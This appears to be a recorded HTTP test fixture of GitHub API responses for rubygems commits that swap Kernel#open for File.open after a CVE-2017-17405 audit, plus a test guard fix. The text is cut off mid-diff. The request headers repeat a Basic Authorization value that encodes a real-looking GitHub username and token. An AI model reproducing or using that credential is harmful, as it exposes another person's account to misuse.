af1eb1b83df9b87d95ba67b6f169134e1805fc32\nauthor SHIBATA Hiroshi 1515133577 +0900\ncommitter SHIBATA Hiroshi 1515133577 +0900\n\nPartly reverted to use File.open for bundler example.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5","html_url":"https://github.com/rubygems/rubygems/commit/3effdf755a542034892563d46ffbda4048c76bb5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"af1eb1b83df9b87d95ba67b6f169134e1805fc32","url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","html_url":"https://github.com/rubygems/rubygems/commit/af1eb1b83df9b87d95ba67b6f169134e1805fc32"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"ae2effbc84604232fbd1d8db854f5c034a471ad4","filename":"lib/rubygems/stub_specification.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/3effdf755a542034892563d46ffbda4048c76bb5/lib/rubygems/stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3effdf755a542034892563d46ffbda4048c76bb5/lib/rubygems/stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/stub_specification.rb?ref=3effdf755a542034892563d46ffbda4048c76bb5","patch":"@@ -113,7 +113,9 @@ def data\n unless @data\n begin\n saved_lineno = $.\n- File.open loaded_from, OPEN_MODE do |file|\n+\n+ # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.\n+ open loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line\n stubline = file.readline.chomp"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4618' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"81ca56cb786673ea3286ff8de0bda625" Last-Modified: - Fri, 05 Jan 2018 04:37:05 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048575' X-Github-Request-Id: - C426:4D95:F47886:1C82C5C:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"520ba008808e258a48d5666bbf4ca930a3b9c312","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T04:37:05Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T04:37:05Z"},"message":"Added guard condition for remove_const","tree":{"sha":"53f76894f63bd856f2440d54b5dd5b2daa9a5042","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/53f76894f63bd856f2440d54b5dd5b2daa9a5042"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpPAPEACgkQ+c8TQXJk\n+sJq5AgAqdn6barpcjKztSdXU+e8G38tB2YRSixbYND5FjwzzTQZs+LOZQpTUyKx\nUaAx16f/GHAZc4kyhyxJZRKiK7GSGxCDCBTfioCj4nX+Opp6Z9uHmwm3lVsvMEo6\nKCPim0rSHB9WuP+VB4Kamor9kFNJv8Ul1rBAXiBFqViYJ30R78ZOBOBapMA3v/3L\nzE8G6UIva/z4QR18YPLrsDW7c3XQOozHsfMFnKG70ACeYfXf5mW/yukzt8eg+ZaG\nEl4W8PZtttcNswARWefjknXs6QkVqol3oe9lEA72PeyBh+jLmxkDViUOQzj+yCH4\n5noPkprT9m8JZsWLxKuuUb3If33C/w==\n=Wtu+\n-----END PGP SIGNATURE-----","payload":"tree 53f76894f63bd856f2440d54b5dd5b2daa9a5042\nparent abc00f1ac9fef0b3d0bc552bd1710561685f9621\nauthor SHIBATA Hiroshi 1515127025 +0900\ncommitter SHIBATA Hiroshi 1515127025 +0900\n\nAdded guard condition for remove_const\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","html_url":"https://github.com/rubygems/rubygems/commit/520ba008808e258a48d5666bbf4ca930a3b9c312","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"abc00f1ac9fef0b3d0bc552bd1710561685f9621","url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","html_url":"https://github.com/rubygems/rubygems/commit/abc00f1ac9fef0b3d0bc552bd1710561685f9621"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"e292ce226d125b079e27e5c19e0d1ffb266c32c4","filename":"test/rubygems/test_require.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/520ba008808e258a48d5666bbf4ca930a3b9c312/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/520ba008808e258a48d5666bbf4ca930a3b9c312/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=520ba008808e258a48d5666bbf4ca930a3b9c312","patch":"@@ -102,8 +102,8 @@ def test_concurrent_require\n assert t1.join, \"thread 1 should exit\"\n assert t2.join, \"thread 2 should exit\"\n ensure\n- Object.send :remove_const, :FILE_ENTERED_LATCH\n- Object.send :remove_const, :FILE_EXIT_LATCH\n+ Object.send :remove_const, :FILE_ENTERED_LATCH if Object.const_defined? :FILE_ENTERED_LATCH\n+ Object.send :remove_const, :FILE_EXIT_LATCH if Object.const_defined? :FILE_EXIT_LATCH\n end\n \n def test_require_is_not_lazy_with_exact_req"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4617' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"59b5a24dfb76232b7df5dbb01abb0aa6" Last-Modified: - Fri, 05 Jan 2018 03:17:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061106' X-Github-Request-Id: - A158:4D95:F4788E:1C82C73:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"af1eb1b83df9b87d95ba67b6f169134e1805fc32","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T03:09:06Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T03:17:56Z"},"message":"Use `File.open` instead of `open`.\n\n This change is not vulnerability fix. @hsbt and @shugo did audit these\n usage when CVE-2017-17405 was disclosed.","tree":{"sha":"38eeaa1adb2b957c76d7988ba55257ecb95c4317","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/38eeaa1adb2b957c76d7988ba55257ecb95c4317"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpO7nwACgkQ+c8TQXJk\n+sKVLQgAm1kWeyd73meqlTUKSsaJnVcicP3TAaUqEJh7eiWQGXaE/0bvNvCnthSp\n47X53BaU1xFFO08NN/HdLrA5TufRWW6eZnBVyGFzUToRuoOFJCX+mKsrZYxg+Tpv\nSwLaYZ5rmSFFDu3JoKwuKOcbXA/xeScQsyU/nR9qwsgUQcQ5cBjQGQHvRA+PpamN\nA2vKeGCthpfkItyWG0YjcgiJWmHctK+s3Fqqx2BsI3Y2ccQif179pwY8h3Df+oEf\nzyP9OVxp6PnO02of5raaiUjqOX1ohN0ysDGQmE84XYgC/flTkSN4h/TD0Z1KajHp\nq2YLYs/TT0BuImCx4g3oavYX1hQoWg==\n=IzO9\n-----END PGP SIGNATURE-----","payload":"tree 38eeaa1adb2b957c76d7988ba55257ecb95c4317\nparent d487894c2e4f3ace75a11e91323c9aca6716d15a\nauthor SHIBATA Hiroshi 1515121746 +0900\ncommitter SHIBATA Hiroshi 1515122276 +0900\n\nUse `File.open` instead of `open`.\n\n This change is not vulnerability fix. @hsbt and @shugo did audit these\n usage when CVE-2017-17405 was disclosed.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32","html_url":"https://github.com/rubygems/rubygems/commit/af1eb1b83df9b87d95ba67b6f169134e1805fc32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/af1eb1b83df9b87d95ba67b6f169134e1805fc32/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a"}],"stats":{"total":270,"additions":135,"deletions":135},"files":[{"sha":"95258beb58d3c499b8b109e3024ea8140eb7b35d","filename":"lib/rubygems.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -871,19 +871,19 @@ def self.refresh\n # Safely read a file in binary mode on all platforms.\n \n def self.read_binary(path)\n- open path, ''rb+'' do |f|\n+ File.open path, ''rb+'' do |f|\n f.flock(File::LOCK_EX)\n f.read\n end\n rescue *READ_BINARY_ERRORS\n- open path, ''rb'' do |f|\n+ File.open path, ''rb'' do |f|\n f.read\n end\n rescue Errno::ENOLCK # NFS\n if Thread.main != Thread.current\n raise\n else\n- open path, ''rb'' do |f|\n+ File.open path, ''rb'' do |f|\n f.read\n end\n end"},{"sha":"b873f20d280da2d33c3b9a867b459616cdf04004","filename":"lib/rubygems/commands/unpack_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/commands/unpack_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/commands/unpack_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/unpack_command.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -94,7 +94,7 @@ def execute\n \n spec_file = File.basename spec.spec_file\n \n- open spec_file, ''w'' do |io|\n+ File.open spec_file, ''w'' do |io|\n io.write metadata\n end\n else\n@@ -176,7 +176,7 @@ def get_metadata path, security_policy = nil\n \n metadata = nil\n \n- open path, Gem.binary_mode do |io|\n+ File.open path, Gem.binary_mode do |io|\n tar = Gem::Package::TarReader.new io\n tar.each_entry do |entry|\n case entry.full_name"},{"sha":"529fc99406b9dd7183c863fc431df7ece9ce7ee8","filename":"lib/rubygems/config_file.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/config_file.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/config_file.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/config_file.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -458,7 +458,7 @@ def to_yaml # :nodoc:\n \n # Writes out this config file, replacing its source.\n def write\n- open config_file_name, ''w'' do |io|\n+ File.open config_file_name, ''w'' do |io|\n io.write to_yaml\n end\n end"},{"sha":"eb9db199d56fcf20ab7fd71934fc3fd7b894ad8b","filename":"lib/rubygems/ext/builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/ext/builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/ext/builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/ext/builder.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -212,7 +212,7 @@ def write_gem_make_out output # :nodoc:\n \n FileUtils.mkdir_p @spec.extension_dir\n \n- open destination, ''wb'' do |io| io.puts output end\n+ File.open destination, ''wb'' do |io| io.puts output end\n \n destination\n end"},{"sha":"cdc33e3e72b4e21c8b1229be01f1f872c449cf5f","filename":"lib/rubygems/indexer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/indexer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/indexer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/indexer.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -123,7 +123,7 @@ def build_marshal_gemspecs specs\n marshal_name = File.join @quick_marshal_dir, spec_file_name\n \n marshal_zipped = Gem.deflate Marshal.dump(spec)\n- open marshal_name, ''wb'' do |io| io.write marshal_zipped end\n+ File.open marshal_name, ''wb'' do |io| io.write marshal_zipped end\n \n files << marshal_name\n \n@@ -261,7 +261,7 @@ def compress(filename, extension)\n \n zipped = Gem.deflate data\n \n- open \"#{filename}.#{extension}\", ''wb'' do |io|\n+ File.open \"#{filename}.#{extension}\", ''wb'' do |io|\n io.write zipped\n end\n end\n@@ -427,7 +427,7 @@ def update_specs_index(index, source, dest)\n \n specs_index = compact_specs specs_index.uniq.sort\n \n- open dest, ''wb'' do |io|\n+ File.open dest, ''wb'' do |io|\n Marshal.dump specs_index, io\n end\n end"},{"sha":"9bda2d655128d178b0830238fed6d184e9fbd085","filename":"lib/rubygems/installer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -206,7 +206,7 @@ def check_executable_overwrite filename # :nodoc:\n ruby_executable = false\n existing = nil\n \n- open generated_bin, ''rb'' do |io|\n+ File.open generated_bin, ''rb'' do |io|\n next unless io.gets =~ /^#!/ # shebang\n io.gets # blankline\n \n@@ -427,7 +427,7 @@ def default_spec_file\n # specifications directory.\n \n def write_spec\n- open spec_file, ''w'' do |file|\n+ File.open spec_file, ''w'' do |file|\n spec.installed_by_version = Gem.rubygems_version\n \n file.puts spec.to_ruby_for_cache\n@@ -863,7 +863,7 @@ def write_build_info_file\n \n build_info_file = File.join build_info_dir, \"#{spec.full_name}.info\"\n \n- open build_info_file, ''w'' do |io|\n+ File.open build_info_file, ''w'' do |io|\n @build_args.each do |arg|\n io.puts arg\n end"},{"sha":"3ac5662b68207175bd4b2573aaf8a8583e8f682e","filename":"lib/rubygems/package.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -219,7 +219,7 @@ def add_files tar # :nodoc:\n next unless stat.file?\n \n tar.add_file_simple file, stat.mode, stat.size do |dst_io|\n- open file, ''rb'' do |src_io|\n+ File.open file, ''rb'' do |src_io|\n dst_io.write src_io.read 16384 until src_io.eof?\n end\n end\n@@ -380,7 +380,7 @@ def extract_tar_gz io, destination_dir, pattern = \"*\" # :nodoc:\n \n FileUtils.mkdir_p mkdir, mkdir_options\n \n- open destination, ''wb'' do |out|\n+ File.open destination, ''wb'' do |out|\n out.write entry.read\n FileUtils.chmod entry.header.mode, destination\n end if entry.file?"},{"sha":"ecc3a686774f8af61204adf3d1d9fd7497cf1007","filename":"lib/rubygems/package/file_source.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package/file_source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package/file_source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/file_source.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -23,11 +23,11 @@ def present?\n end\n \n def with_write_io &block\n- open path, ''wb'', &block\n+ File.open path, ''wb'', &block\n end\n \n def with_read_io &block\n- open path, ''rb'', &block\n+ File.open path, ''rb'', &block\n end\n \n end"},{"sha":"322d682ca8905658eaaae3adce23ab32ad37e3f7","filename":"lib/rubygems/package/old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package/old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/package/old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/package/old.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -80,7 +80,7 @@ def extract_files destination_dir\n \n FileUtils.mkdir_p File.dirname destination\n \n- open destination, ''wb'', entry[''mode''] do |out|\n+ File.open destination, ''wb'', entry[''mode''] do |out|\n out.write file_data\n end\n "},{"sha":"76ad17d4862b7b6367a2869c09cc3e8d0792157f","filename":"lib/rubygems/request_set/lockfile.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/request_set/lockfile.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/request_set/lockfile.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/request_set/lockfile.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -223,7 +223,7 @@ def to_s\n def write\n content = to_s\n \n- open \"#{@gem_deps_file}.lock\", ''w'' do |io|\n+ File.open \"#{@gem_deps_file}.lock\", ''w'' do |io|\n io.write content\n end\n end"},{"sha":"236577c5a3040783244cb9394938868e185f4760","filename":"lib/rubygems/security.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/security.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/security.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/security.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -578,7 +578,7 @@ def self.trusted_certificates &block\n def self.write pemmable, path, permissions = 0600, passphrase = nil, cipher = KEY_CIPHER\n path = File.expand_path path\n \n- open path, ''wb'', permissions do |io|\n+ File.open path, ''wb'', permissions do |io|\n if passphrase and cipher\n io.write pemmable.to_pem cipher, passphrase\n else"},{"sha":"849cf3cd3e8ca371aeaed483b568f64542f1664f","filename":"lib/rubygems/security/trust_dir.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/security/trust_dir.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/security/trust_dir.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/security/trust_dir.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -93,7 +93,7 @@ def trust_cert certificate\n \n destination = cert_path certificate\n \n- open destination, ''wb'', @permissions[:trusted_cert] do |io|\n+ File.open destination, ''wb'', @permissions[:trusted_cert] do |io|\n io.write certificate.to_pem\n end\n end"},{"sha":"b28b85066077d909f8bc26ffe498958e8c5c5c8b","filename":"lib/rubygems/source.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -160,7 +160,7 @@ def fetch_spec name_tuple\n if update_cache? then\n FileUtils.mkdir_p cache_dir\n \n- open local_spec, ''wb'' do |io|\n+ File.open local_spec, ''wb'' do |io|\n io.write spec\n end\n end"},{"sha":"a8aacf77deda1e8cab60e449e13b9a89551eb881","filename":"lib/rubygems/stub_specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/stub_specification.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -113,7 +113,7 @@ def data\n unless @data\n begin\n saved_lineno = $.\n- open loaded_from, OPEN_MODE do |file|\n+ File.open loaded_from, OPEN_MODE do |file|\n begin\n file.readline # discard encoding line\n stubline = 